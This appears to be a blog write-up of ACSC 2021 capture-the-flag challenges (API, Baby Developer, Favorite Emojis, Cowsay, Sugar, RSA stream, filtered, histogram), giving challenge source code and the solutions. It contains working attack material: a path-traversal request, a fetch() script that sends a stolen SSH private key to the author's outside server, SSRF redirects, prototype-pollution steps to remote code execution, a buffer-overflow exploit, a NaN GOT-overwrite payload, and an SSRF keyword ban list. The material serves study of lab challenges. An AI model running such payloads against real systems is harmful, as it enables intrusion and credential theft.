메인 컨텐츠로 넘어가기

ACSC 2021

Web

API

Easy and simple API

https://api.chal.acsc.asia

Attached: api.tar.gz
FROM php:7.3-apache

RUN echo "ACSC{this is fake flag}" > /flag
RUN chmod 0444 /flag

COPY ./public/ /var/www/html/
COPY ./000-default.conf /etc/apache2/sites-available/
RUN chmod 0777 /var/www/html/lib/db/

RUN chown -R root:www-data /var/www/html/

RUN chmod 0755 /var/www/html/

If you check the Dockerfile, we can realize that the flag will be located at /flag.

#api.php

<?php
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/config.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/User.class.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/Admin.class.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/functions.php";

$id = $_REQUEST['id'];
$pw = $_REQUEST['pw'];
$acc = [$id, $pw];
main($acc);

The api.php gets the values id and pw. And make a variable which sent to main function.

# function.php line 53 ~

function main($acc){
    gen_user_db($acc);
    gen_pass_db();
    header("Content-Type: application/json");
    $user = new User($acc);
    $cmd = $_REQUEST['c'];
    usleep(500000);
    switch($cmd){
        case 'i':
            if (!$user->signin())
                echo "Wrong Username or Password.\n\n";
            break;
        case 'u':
            if ($user->signup())
                echo "Register Success!\n\n";
            else
                echo "Failed to join\n\n";
            break;
        case 'o':
            if ($user->signout())
                echo "Logout Success!\n\n";
            else
                echo "Failed to sign out..\n\n";
            break;
    }
    challenge($user);
}

Here is function main. it looks like we need to check User class first.

# User.class.php

<?php
class User {
    private $acc;
    private $db;
    public function __construct($acc){
        $this->acc = $acc;
        $this->db['path'] = dirname(__FILE__).DIRECTORY_SEPARATOR;
        $this->db['path'] .= "db".DIRECTORY_SEPARATOR;
        $this->db['path'] .= "user.db";                             # /var/www/html/db/user.db
        $this->db['fmt'] = sprintf("%s|%s|%d,", $this->acc[0], $this->gen_hash($this->acc[1]), 0);
    }
    public function is_login(){
        if ($_SESSION) return true;
    }
    public function gen_hash($val){
        return hash("ripemd160", $val);
    }
    public function load_db(){
        $data = file_get_contents($this->db['path']);
        $data = explode(',', $data, -1);
        $arr = [];
        for($i = 0; $i < count($data); $i++){
            $arr[] = explode('|', $data[$i]);
        }
        return $arr;
    }
    public function redirect($url, $msg=''){
        $con = "<script type='text/javascript'>".PHP_EOL;
        if ($msg) $con .= "\talert('%s');".PHP_EOL;
        $con .= "\tlocation.href = '%s';".PHP_EOL;
        $con .= "</script>".PHP_EOL;
        header("location: ".$url);
        if ($msg) printf($con, $msg, $url);
        else printf($con, $url);
    }
    public function signin(){
        $data = $this->load_db();
        $bool = false;
        for($i = 0; $i < count($data); $i++){
            if ($data[$i][0] == $this->acc[0] && 
                $data[$i][1] == $this->gen_hash($this->acc[1])) {
                $bool = true;
                break;
            }
        }
        if ($bool) {
            $_SESSION = [$this->acc[0], $this->acc[1], $this->acc[2]];
            return true;
        }
        else return false;
    }
    public function signup(){
        if (!preg_match("/^[A-Z][0-9a-z]{3,15}$/", $this->acc[0])) return false;
        echo "<br>Pass 1<br>";
        if (!preg_match("/^[A-Z][0-9A-Za-z]{8,15}$/", $this->acc[1])) return false;
        echo "All Pass<br>";
        $data = $this->load_db();
        for($i = 0; $i < count($data); $i++){
            if ($data[$i][0] == $this->acc[0]) return false;
        }
        file_put_contents($this->db['path'], $this->db['fmt'], FILE_APPEND);
        return true;
    }
    public function signout(){
        $_SESSION = [];
        return true;
    }
}

In User, there is signin function but it's quite weird. Following api.php there is only two object will be delivered to $this->acc. So, $this->acc[2] will be null.

function challenge($obj){
    if ($obj->is_login()) {
        echo "here";
        $admin = new Admin();
        if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
        $cmd = $_REQUEST['c2'];
        if ($cmd) {
            switch($cmd){
                case "gu":
                    echo json_encode($admin->export_users());
                    break;
                case "gd":
                    echo json_encode($admin->export_db($_REQUEST['db']));
                    break;
                case "gp":
                    echo json_encode($admin->get_pass());
                    break;
                case "cf":
                    echo json_encode($admin->compare_flag($_REQUEST['flag']));
                    break;
            }
        }
    }
}

This function will be called after in function main. And there is a logic for wheter the user is admin or not. Unless the user is admin, the page will call $admin->redirect(). Let's check class Admin.

<?php
class Admin extends User {
    private $sess;
    private $db;
    public function __construct(){
        $this->sess = $_SESSION;
        $this->db['path'] = dirname(__FILE__).DIRECTORY_SEPARATOR;
        $this->db['path'] .= "db".DIRECTORY_SEPARATOR;
        $this->db['path'] .= "passcode.db";
    }
    public function is_admin(){
        var_dump($this->sess);
        if ($this->sess[2]) return true;
    }
    public function export_users(){
        if ($this->is_pass_correct()) {
            $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
            $path .= "db".DIRECTORY_SEPARATOR;
            $path .= "user.db";
            $data = file_get_contents($path);
            $data = explode(',', $data, -1);
            $arr = [];
            for($i = 0; $i < count($data); $i++){
                $tmp = explode('|', $data[$i]);
                $arr[] = $tmp[0];
            }
            return $arr;
        }else 
            return "The passcode does not equal with your input.";
    }
    public function export_db($file){
        if ($this->is_pass_correct()) {
            $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
            $path .= "db".DIRECTORY_SEPARATOR;
            $path .= $file;
            $data = file_get_contents($path);
            $data = explode(',', $data);
            $arr = [];
            for($i = 0; $i < count($data); $i++){
                $arr[] = explode('|', $data[$i]);
            }
            return $arr;
        }else 
            return "The passcode does not equal with your input.";
    }
    public function is_pass_correct(){
        $passcode = $this->get_pass();
        $input = $_REQUEST['pas'];
        if ($input == $passcode) return true;
    }
    public function get_pass(){
        return file_get_contents($this->db['path']);
    }
    public function compare_flag($flag){
        $this->flag = trim(file_get_contents("/flag"));
        if ($this->flag == $flag) return "Yess! That's it!";
        else return "That's not the flag..";
    }
    public function __destruct(){
        $this->signout();
    }
}

There is no function defenition for redirect and the class extends User class. So, we need to check redirect function for User class.

    public function redirect($url, $msg=''){
        $con = "<script type='text/javascript'>".PHP_EOL;
        if ($msg) $con .= "\talert('%s');".PHP_EOL;
        $con .= "\tlocation.href = '%s';".PHP_EOL;
        $con .= "</script>".PHP_EOL;
        header("location: ".$url);
        if ($msg) printf($con, $msg, $url);
        else printf($con, $url);
    }

Fortunately, there is no function like exit or die. I mean, we can use admin functions even it has redirection. So, Just used gp for getting passcode and dumped flag using export_db function.

POST /api.php HTTP/2
Host: api.chal.acsc.asia
Content-Length: 76
Sec-Ch-Ua: "Chromium";v="90", " Not A;Brand";v="99", "Whale";v="2"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.232 Whale/2.10.124.26 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://api.chal.acsc.asia
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://api.chal.acsc.asia/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

id=Asqrtrev123&pw=Asqrtrev123&c=i&&pas=:<vNk&c2=gd&db=../../../../../../flag

Baby Developer

I made a mobile(apple watch miniminimini series 1337) viewer on my personal server..

http://baby-developer.chal.acsc.asia:8888/
ssh baby-developer.chal.acsc.asia -p2222

Attached: baby-developer.tar.gz

version: '3.1'

services:
    genflag:
        build: ./genflag
        restart: always
        volumes:
            - ./flag:/flag:ro

    website:
        build: ./website
        restart: always
        ports:
            - 0.0.0.0:2222:22
        links:
            - genflag

    mobile-viewer:
        build: ./mobile-viewer
        ports:
            - 0.0.0.0:8888:80
        links:
            - website
            - redis

    redis:
        image: redis:5
        command: "redis-server /redis.conf"
        volumes:
            - ./redis/redis.conf:/redis.conf
        restart: always

There are total 4 services genflag, website, mobile-viewer and redis.

  • In website,
FROM node:lts-buster
WORKDIR /srv/
RUN apt-get update && apt-get -y install ssh

# For remote ssh from the library PC
RUN useradd -d /home/stypr -s /home/stypr/readflag stypr && \
    mkdir -p /home/stypr/.ssh/ && ssh-keygen -q -t rsa -N '' -f /home/stypr/.ssh/id_rsa && \
    cp /home/stypr/.ssh/id_rsa.pub /home/stypr/.ssh/authorized_keys

# Challenge: get flag!
RUN touch /home/stypr/.hushlogin && \
    echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \
    gcc -o /home/stypr/readflag /home/stypr/readflag.c && \
    chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c

# Run dev version of harold.kim
RUN git clone https://github.com/stypr/harold.kim
RUN cd harold.kim && yarn install

CMD ["sh", "-c", "service ssh start && cd /srv/harold.kim/ && yarn build && yarn dev --port 80 2>&1 >/dev/null"]

There is a logic for the ssh information generation and reading flag. Also, author provided ssh information.

  • In redis, there is redis configuration file .

  • In mobile-viewer,

FROM tiangolo/uwsgi-nginx-flask:python3.8

# Install Chrome
RUN apt-get update && apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
  gnupg \
    --no-install-recommends \
    && curl -sSL https://dl.google.com/linux/linux_signing_key.pub | apt-key add - \
    && echo "deb [arch=amd64] https://dl.google.com/linux/chrome/deb/ stable main" > /etc/apt/sources.list.d/google-chrome.list \
    && apt-get update && apt-get install -y \
    google-chrome-stable \
    --no-install-recommends

# It won't run from the root user.
RUN groupadd chrome && useradd -g chrome -s /bin/bash -G audio,video chrome \
    && mkdir -p /home/chrome && chown -R chrome:chrome /home/chrome

# Install redis and dependencies
RUN apt-get -y install redis

COPY ./app/ /app
WORKDIR /app
RUN pip install -r ./requirements.txt
RUN chmod +x /app/start.sh
CMD ["sh", "-c", "/app/start.sh"]
#!/usr/bin/python3 -u
# -*- coding: utf-8 -*-
# Developer: stypr (https://harold.kim/)

from flask import Flask, render_template, request, jsonify, abort
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

from uuid import uuid4
from urllib.parse import unquote_plus
from requests import get
from os import unlink

import time
import os
import re
import requests
import redis
import glob

app = Flask(__name__)
db = redis.Redis("redis")
limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["5000 per day"]
)

@app.errorhandler(404)
def page_not_found(e):
    return render_template("404.html"), 404


@app.errorhandler(403)
def permission_denied(e):
    return render_template("403.html"), 403


@app.route("/", methods=["GET"])
def home():
    return render_template("home.html")


@app.route("/status", methods=["GET"])
def stats():
    return render_template("status.html")


@app.route("/api/export/jpg", methods=["POST"])
@limiter.limit("6/minute", override_defaults=False)
def export_png():
    url = request.get_json()["url"]

    # Flush screenshots
    dir_list = glob.glob("./static/output/*.jpg")
    print(dir_list)
    if len(dir_list) > 4096:
        print("[.] Flushing cache...")
        for _file in dir_list:
            try:
                os.remove(_file)
            except:
                pass

    # Check URL
    if url == "" or url == None:
        return jsonify({"result": False, "_id": ""})

    # Check if HTTP
    if re.match(r"(^https?://)", url) is None:
        return jsonify({"result": False, "_id": ""})

    # Filter some useless keywords
    ban_keywords = [
        "\r",
        "\n",
        "\t",
        "set",
        "stypr",  # Redis
        "file:",
        "data:",
        "gopher:",
        "ftp:",
        "ssh:",  # SSRF
        "chrome:", # Chrome
        "php",
        "html",
        "htm",
        "php3",
        "phps",
        "var",  # File Upload Injection
        "proc",
        "self",
        "cwd",
        "dev",  # LFI / RFI
    ]
    for i in ban_keywords:
        if i.lower() in url.lower():
            return jsonify({"result": False, "_id": ""})

    # Dummy check to ensure that the server actually exists
    try:
        output = get(url, timeout=2).text
    except:
        return jsonify({"result": False, "_id": ""})

    # Add the queue on redis.
    uuid = str(uuid4())
    _id = f"{uuid}/{url}"
    db.rpush("query", _id)
    result = {"result": True, "_id": uuid}
    return jsonify(result)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=True)

There is a Flask application and chrome worker for rendering. Also, there is a file named worker.py as chrome handler but it renders the page with 16 x 16 size.

  • In genflag,
FROM tiangolo/uwsgi-nginx-flask:python3.8

COPY ./app /app
WORKDIR /app
from flask import Flask, request
import socket

dev = socket.gethostbyname("website")
app = Flask(__name__)

@app.route('/flag')
def hello_world():
    if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'):
        fp = open('/flag', 'r')
        flag = fp.read()
        return flag
    else:
        return "Nope.."

@app.route('/')
def main():
    return 'This server is for you to get the flag!'

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False, port=80)

Here is the logic for giving flag.

Exploit

I tried curl http://website/%2e%2e/%2e%2e/etc/passwd in the instance of website (Because here is the only instance that we can access on challenge.) and this worked. And I tried to leak the ssh information using chrome. I made a script for fetch to leak the ssh file and send it to my server which is located at http://4z.is/redirect2.sqr

fetch('http://website/%2e%2e/%2e%2e/home/stypr/.ssh/id_rsa')
.then(function(response) {
    return response.text();
  }).then(function(res){
    navigator.sendBeacon('//4z.is:31337/', res);
});

Fortunately, http://website has option with CORS: * . So, I can leak directly by sending my url to mobile-viewer's renderer. Finally, I can get ssh key and can get flag.

Favorite Emojis

?


                                ?

http://favorite-emojis.chal.acsc.asia:5000

Attched: favorite-emojis.tar.gz
version: '3.9'

services:
    web:
        image: nginx
        volumes:
            - ./nginx.conf:/etc/nginx/conf.d/default.conf
            - ./public/index.html:/usr/share/nginx/html/index.html
        networks:
            - overlay
        ports:
            - 5000:80
    api:
        build: ./api
        networks:
            - overlay
        depends_on:
            - web
        depends_on:
            - renderer
        environment:
            - flag=ACSC{this_is_fake}
    renderer:
        image: tvanro/prerender-alpine
        networks:
            - overlay

networks:
    overlay:
  • In api,
import os
from flask import Flask, jsonify


FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}"

app = Flask(__name__)
emojis = []


@app.route("/", methods=["GET"])
def root():
    return FLAG


@app.route("/v1/get_emojis")
def get_emojis():
    output = {"data": emojis}
    return jsonify(output)


def initialize():
    with open("./emojis.txt", "r") as f:
        e = f.read()
    for i in e.split("\n"):
        if i.strip() == "":
            continue
        name, emoji = i.split(" ")
        emojis.append({
            "name": name,
            "emoji": emoji
        })


initialize()
app.run("0.0.0.0", 8000, debug=False)

There is a logic for getting FLAG. So, our goal is to access http://api:8000.

  • In web,

There is a nginx configuration file.

server {
    listen 80;

    root   /usr/share/nginx/html/;
    index  index.html;

    location / {
        try_files $uri @prerender;
    }

    location /api/ {
        proxy_pass http://api:8000/v1/;
    }

    location @prerender {
        proxy_set_header X-Prerender-Token YOUR_TOKEN;

        set $prerender 0;
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
            set $prerender 1;
        }
        if ($args ~ "_escaped_fragment_") {
            set $prerender 1;
        }
        if ($http_user_agent ~ "Prerender") {
            set $prerender 0;
        }
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
            set $prerender 0;
        }

        if ($prerender = 1) {
            rewrite .* /$scheme://$host$request_uri? break;
            proxy_pass http://renderer:3000;
        }

        if ($prerender = 0) {
            rewrite .* /index.html break;
        }
    }
}

There is a quite suspicious part proxy_pass http://renderer:3000. So, our goal is to set $prerender to 1. There are two ways to make it.

  1. googlebot in User-Agent
  2. use _escaped_fragment_ argument
  • In renderer,

There is a code which is using chrome. So, I thought that I can use my server for getting http://api:8000/

<script>location.href='http://api:8000/'</script>

I uploaded at http://4z.is/redirect.php. And I provided this to prerender and it worked.

So, the payload was like this.

GET /redirect.php?_escaped_fragment_ HTTP/1.1
Host: 4z.is
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.232 Whale/2.10.124.26 Safari/537.36
Accept: */*
Referer: http://favorite-emojis.chal.acsc.asia:5000/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Cowsay as a Service

Enjoy your cowsay life with our Cowsay as a Service!
You can spawn your private instance from https://cowsay-as-a-service.chal.acsc.asia/.

Notice: Please do not spawn too many instances since our server resource is limited.
You can check the source code and run it in your local machine before do that.
Each instances are alive only for 5 minutes.
But don't worry! You can spawn again even if your instance expired.

https://cowsay-as-a-service.chal.acsc.asia/

Attached: cowsay-as-a-service.tar.gz
FROM node:16

RUN apt update && apt install -y cowsay

WORKDIR /usr/src/app
COPY package.json ./
COPY package-lock.json ./
RUN npm install

COPY . .

USER node

EXPOSE 3000
CMD ["node", "src/index.js"]
import Koa from 'koa';
import Router from '@koa/router';
import auth from 'koa-basic-auth';
import bodyParser from 'koa-bodyparser';
import child_process from 'child_process';

const settings = {};

const style = `<style>
body { padding: 2rem; }
.form input[type=text] { padding: .5rem 1rem; font-size: 1rem; display: block; margin-bottom: 1rem; }
.form input[type=submit] { display: block; margin-bottom: 1rem; color: #fff; background-color: #000; padding: .5rem 1rem; font-size: 1rem; border: none; }
.color-setting { margin-bottom: 1rem; }
.cowsay { font-size: 2rem; background: #beead6; padding: 0.5rem 1rem; }
</style>`;

const app = new Koa();
const router = new Router();

// basic auth
if (process.env.CS_USERNAME && process.env.CS_PASSWORD) {
  app.use(auth({
    name: process.env.CS_USERNAME,
    pass: process.env.CS_PASSWORD
  }))
}

app.use(async (ctx, next) => {
  ctx.state.user = ctx.cookies.get('username');
  await next();
});

router.get('/', (ctx, next) => {
  ctx.body = `
${style}
<h1>Welcome to Cowsay as a Service</h1>
<p>Before start the service, please enter your name.</p>
<form action="/cowsay" method="GET" class="form">
  <input type="text" name="user" placeholder="Username">
  <input type="submit" value="Login">
</form>
<script>
document.querySelector('form').addEventListener('submit', () => {
  const username = document.querySelector('input[name="user"]').value;
  document.cookie = 'username=' + username;
});
</script>
`;
  next();
});

router.get('/cowsay', (ctx, next) => {
  const setting = settings[ctx.state.user];
  const color = setting?.color || '#000000';

  let cowsay = '';
  if (ctx.request.query.say) {
    const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
    cowsay = result.stdout.toString();
  }

  ctx.body = `
${style}
<h1>Cowsay as a Service</h1>

<details class="color-setting">
  <summary>Color Preferences</summary>
  <form action="/setting/color" method="POST">
    <input type="color" name="value" value="${color}">
    <input type="submit" value="Change Color">
  </form>
</details>

<form action="/cowsay" method="GET" class="form">
  <input type="text" name="say" placeholder="hello">
  <input type="submit" value="Say">
</form>

<pre style="color: ${color}" class="cowsay">
${cowsay}
</pre>
`;
});

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

app.use(bodyParser());
app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);

There is a quite simple node.js code. There is child_process.spwanSync and I felt like I need to abuse this somehow. Also, there is Prototype Pollution in /setting/:name.

https://nodejs.org/dist/latest-v6.x/docs/api/child_process.html#child_process_child_process_spawn_command_args_options

Note: If the shell option is enabled, do not pass unsanitised user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.

Assume that we make object.shell true, child_process will have option with shell=true. And then we can use command something like $(ls) and this worked.

Exploit

  1. set username as __proto__
  2. go to /setting/shell and set {"shell":true} -> Prototype Pollution
  3. Now, you can execute arbitrary code something like $(ls) at /cowsay -> RCE

Rev

Sugar

Attached: sugar.tar.gz

Firstly, they gave us a qemu img and if I run, I can see the screen with Input flag:. I extracted EFI binary by mount on linux system and I started analyzing. When I looked at the code first, there is no symbol alive. Fortunately, there is output for ERROR with function name and I can guess what this function is.

sugar

sugar

In this this part, I can see Pci related stuff. So, I guess here is the part for loading data from disk. So, I tried to find EFI TRAP in given disk.img.

sugar

v6 has EFI PART and this was at rbp-440 and the v7 which is the plaintext for the encryption was at rbp-408.

>>> hex(0x440-0x408)
'0x38'
>>>

So, I added 0x38 for getting the plain text in disk.img from the string EFI PART. EFI Part was located at 0x200. Following this, our destination was 0x238

sugar

And there is AesInit(AesContext, &Key, 0x80ui64) in Code. AesInit's 3rd argument is for clarifying the bits of AES. So, 0x80 == 128 bit. Now, we know IV, plaintext, key, bits of AES.

I coded for AES and I could get the flag.

class AESCryptoCBC():
    def __init__(self):
        from Crypto.Cipher import AES
        key = b'\xa1\x86\x28\x23\x14\xbb\x20\x35\x3f\xea\x9f\xb3\xb0\x9e\xf6\xcd'
        iv = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        self.crypto = AES.new(key, AES.MODE_CBC, iv)

    def encrypt(self):
        import base64
        import binascii
        input = b'\x5a\x50\x4b\x64\xd7\x2a\x3d\x4b\xa4\x0a\xa0\xfa\x8e\x32\xd3\x5d'
        encrypted = self.crypto.encrypt(input)
        print('encrypted :: ', encrypted)
        print('encryped hexlify :: ', binascii.hexlify(encrypted))
        encoded_encrypted = base64.b64encode(encrypted)
        return encoded_encrypted

    def decrypt(self, encrypted):
        import base64
        decoded_data = base64.b64decode(encrypted)
        print('decoded_data :: ', decoded_data)
        decrypted = self.crypto.decrypt(decoded_data)
        return decrypted.decode('utf-8')


def aes_test():
    enc = AESCryptoCBC().encrypt()

aes_test()

Crypto

RSA stream

I made a stream cipher out of RSA! But people say I made a huge mistake. Can you decrypt my cipher?


Attached: rsa_stream.tar.gz
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

We know the cipher and q. So, we can restore the each streams and also can get e by using gmpy2.next_prime in my reverse code. We are on the same situation with having c1, c2, c3 and e1, e2, e3. And I know there are some well-known challenges which is when c1, c2, e1, e2 exists. So, I tried to find code for this on Google and I found this https://blog.0daylabs.com/2015/01/17/rsa-common-modulus-attack-extended-euclidean-algorithm/. I used that code and I can get flag.

from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
import gmpy2

class RSAModuli:
    def __init__(self):
        self.a = 0
        self.b = 0
        self.m = 0
        self.i = 0
    def gcd(self, num1, num2):
        if num1 < num2:
            num1, num2 = num2, num1
        while num2 != 0:
            num1, num2 = num2, num1 % num2
        return num1
    def extended_euclidean(self, e1, e2):
        self.a = gmpy2.invert(e1, e2)
        self.b = (float(self.gcd(e1, e2)-(self.a*e1)))/float(e2)
    def modular_inverse(self, c1, c2, N):
        i = gmpy2.invert(c2, N)
        mx = pow(c1, self.a, N)
        my = pow(i, int(-self.b), N)
        self.m= mx * my % N
    def print_value(self):
        print("Plain Text: ", long_to_bytes(self.m))

n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453
e = 65537
enc = open("chal.enc","rb").read()
f = open("chal.py","rb").read()

cipher = []
es = []
stream = []

for a in range(0,len(f),256):
    q = f[a:a+256]
    if len(q) < 256:
        q = pad(q, 256)
    q = bytes_to_long(q)
    c = bytes_to_long(enc[a:a+256]) ^ q
    stream.append(c)
    es.append(e)
    e = gmpy2.next_prime(e)

c = RSAModuli()
N  = n
c1 = stream[0]
c2 = stream[1]
e1 = es[0]
e2 = es[1]
c.extended_euclidean(e1, e2)
c.modular_inverse(c1, c2, N)
c.print_value()

Pwn

filtered

Filter invalid sizes to make it secure!

Backup: nc 167.99.78.201 9001

nc filtered.chal.acsc.asia 9001

Attached: filtered.tar.gz
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char dest[268]; // [rsp+0h] [rbp-110h] BYREF
  int size; // [rsp+10Ch] [rbp-4h]

  size = readint((__int64)"Size: ");
  if ( size > 256 )
  {
    print("Buffer overflow detected!\n");
    exit(1);
  }
  readline((__int64)"Data: ", (__int64)dest, size);
  print("Bye!\n");
  return 0;
}

There is checking input size for input length but it's only for limit the number which is greater than 256 bytes.

unsigned __int64 __fastcall readline(__int64 msg, __int64 dest, unsigned __int64 size)
{
  unsigned __int64 result; // rax
  char buf; // [rsp+27h] [rbp-9h] BYREF
  unsigned __int64 i; // [rsp+28h] [rbp-8h]

  print(msg);
  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= size )
      break;
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      print("I/O Error\n");
      exit(1);
    }
    if ( buf == 10 )
    {
      result = dest + i;
      *(_BYTE *)(dest + i) = 0;
      return result;
    }
    *(_BYTE *)(i + dest) = buf;
  }
  return result;
}

So, I can do integer undeflow with -2147483648 and trigger BOF easily.

from pwn import *

#p = process(b"./filtered")
p = remote(b'167.99.78.201', 9001)

p.sendline(b'-2147483648')
payload = b''
payload += b'A'*0x118 
payload += p64(0x4011D6)

p.sendline(payload)
p.interactive()

histogram

https://histogram.chal.acsc.asia

Attached: histogram.tar.gz

This was really funny challenge :yum:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 i; // [rsp+12h] [rbp-Eh]
  int v5; // [rsp+14h] [rbp-Ch]
  FILE *stream; // [rsp+18h] [rbp-8h]

  if ( argc <= 1 )
    fatal("No input file");
  stream = fopen(argv[1], "r");
  if ( !stream )
    fatal("Cannot open the file");
  v5 = 0;
  while ( !(unsigned int)read_data(stream) )
  {
    if ( ++v5 > 0x7FFF )
      fatal("Too many input");
  }
  printf("{\"status\":\"success\",\"result\":{\"wsum\":");
  json_print_array(&wsum, 60LL);
  printf(",\"hsum\":");
  json_print_array(&hsum, 30LL);
  printf(",\"map\":[");
  for ( i = 0; i <= 59; ++i )
  {
    json_print_array((char *)&map + 120 * i, 30LL);
    if ( i != 59 )
      putchar(44);
  }
  printf("]}}");
  fclose(stream);
  return 0;
}
__int64 __fastcall read_data(__int64 a1)
{
  __int64 v2; // rdi
  __int16 v3; // [rsp+10h] [rbp-20h]
  int v4; // [rsp+14h] [rbp-1Ch]
  double v5; // [rsp+18h] [rbp-18h] BYREF
  __int64 v6[2]; // [rsp+20h] [rbp-10h] BYREF

  v6[1] = __readfsqword(0x28u);
  v4 = __isoc99_fscanf(a1, "%lf,%lf", &v5, v6);
  if ( v4 == -1 )
    return 1LL;
  if ( v4 != 2 )
    fatal("Invalid input");
  if ( v5 < 1.0 || v5 >= 600.0 )
    fatal("Invalid weight");
  if ( *(double *)v6 < 1.0 || *(double *)v6 >= 300.0 )
    fatal("Invalid height");
  v3 = (int)ceil(v5 / 10.0) - 1;
  v2 = (__int16)((int)ceil(*(double *)v6 / 10.0) - 1);
  ++map[30 * v3 + v2];
  ++wsum[v3];
  ++hsum[v2];
  return 0LL;
}

When I looked at the function read_data, I can feel that this challenge is about the OOB. but there is checking for the input range. So, I was thinking about how can I bypass this and finally I can find NaN. If I pass NaN to ceil, it will return 0 and so, variable v3 can be -1. the address for variable map is at 0x4040A0. So, it's possible to control got address. So, I overwrote got to win.

Payload:

NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
NaN,30.0
